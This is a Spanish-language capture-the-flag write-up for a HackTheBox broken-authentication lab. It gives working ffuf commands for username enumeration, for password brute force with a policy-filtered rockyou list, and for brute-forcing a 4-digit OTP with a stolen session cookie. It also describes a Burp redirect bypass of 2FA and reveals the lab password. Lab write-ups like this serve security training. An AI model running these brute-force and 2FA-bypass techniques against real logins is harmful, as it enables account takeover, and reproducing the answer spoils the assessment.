---
title: "Writeup Skills Assessment - Broken Authentication — HackTheBox"
machine: "Skills Assessment - Broken Authentication"
platform: "HackTheBox"
difficulty: "Fácil"
operating_system: ["Linux", "Web"]
tags: ["web", "auth", "bruteforce", "enum"]
author: "juanluismm520"
author_url: "https://www.writeups.es/u/juanluismm520"
source: "https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520"
license: "CC BY-SA 4.0"
published: "2026-09-14T16:10:24.412421+00:00"
updated: "2026-09-24T11:02:45.419849+00:00"
words: 199
reading_minutes: 1
---# Skills Assessment - Broken Authentication — HackTheBox

# Enumeración
Primero de todo, vemos un login. Parece ser que es posible que se pueda enumrar usuarios ya que si fallas el usuario te dice que el usuario no es conocido. Además para registrarnos nos da la política de contraseña:
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/200691ff-252c-44a6-a5fa-c30b3dee5b3d.webp)

### Si fallas el usuario y contraseña
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/1314e30c-bf8b-4944-9a96-5cde303fb48e.webp)

### Si fallas el usuario
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/95d749f9-c1ae-4782-9eac-77433fa9a3f9.webp)


## Enumeración de usuarios con fuerza bruta
Usamos el comando
```bash
ffuf -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -u http://154.57.164.73:32634/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=Usuario52000" -t 200 -fr "Unknown username or password." -s
```
Veremos como nos aparecerá que existe el usuario `gladys`. Ahora debemos atacar la contraseña.

## Fuerza bruta 
Para ello cogemos el `rockyou.txt` pero lo transformamos a la política de contraseña que tiene la empresa.
```bash
grep -E '^[A-Za-z0-9]{12}$' /usr/share/wordlists/rockyou.txt \
  | grep -E '[0-9]' \
  | grep -E '[a-z]' \
  | grep -E '[A-Z]' \
  > rockyou-12-policy.txt
```

Se nos queda en `17048` lineas, mucho más asumible. 

```bash
ffuf -w ./rockyou-12-policy.txt -u http://154.57.164.73:32634/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=gladys&password=FUZZ" -t 200 -fr "Invalid credentials." -s
```

> [!SPOILER]
> Pass: dWinaldasD13

# Resolución
Una vez entramos nos pide un código 2fa. 
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/0670c1a6-c0f0-4404-b20e-4ff82aa5f0b7.webp)

Aquí encuentro dos vías de resolverlo:
### Vía 1: Bypass 2fa
Para ello cogemos burp, activamos el interceptar peticiones y nos vamos a `/profile.php`. Puesto que con el navegador si vamos a `/profile.php` nos volverá a redirigir hacia el código 2fa, podemos simplemente parar la petición sin seguir la redirección y se nos muestra la flag:
> [!SPOILER]
> ![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/632d458d-653a-4616-ba96-45d00a9812af.webp)

### Vía 2: Fuerza bruta al código OTP
Para ello creamos el diccionario
```bash
seq -w 0 9999 > otp.txt
```

Y ejecutamos `ffuf`
```bash
ffuf -w ./otp.txt -u http://154.57.164.73:32634/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "otp=FUZZ" -b "PHPSESSID=7dagbmmkkc4lujqmu7b6b17o4b" -t 400 -fr "Invalid OTP." -s
```

Una vez nos salga en la consola el número encontrado, pulsamos F5 y habremos obtenido la flag. 

---

> Writeup de **juanluismm520** publicado en [writeups.es](https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520).
> Si citas este contenido, enlaza a la fuente original.
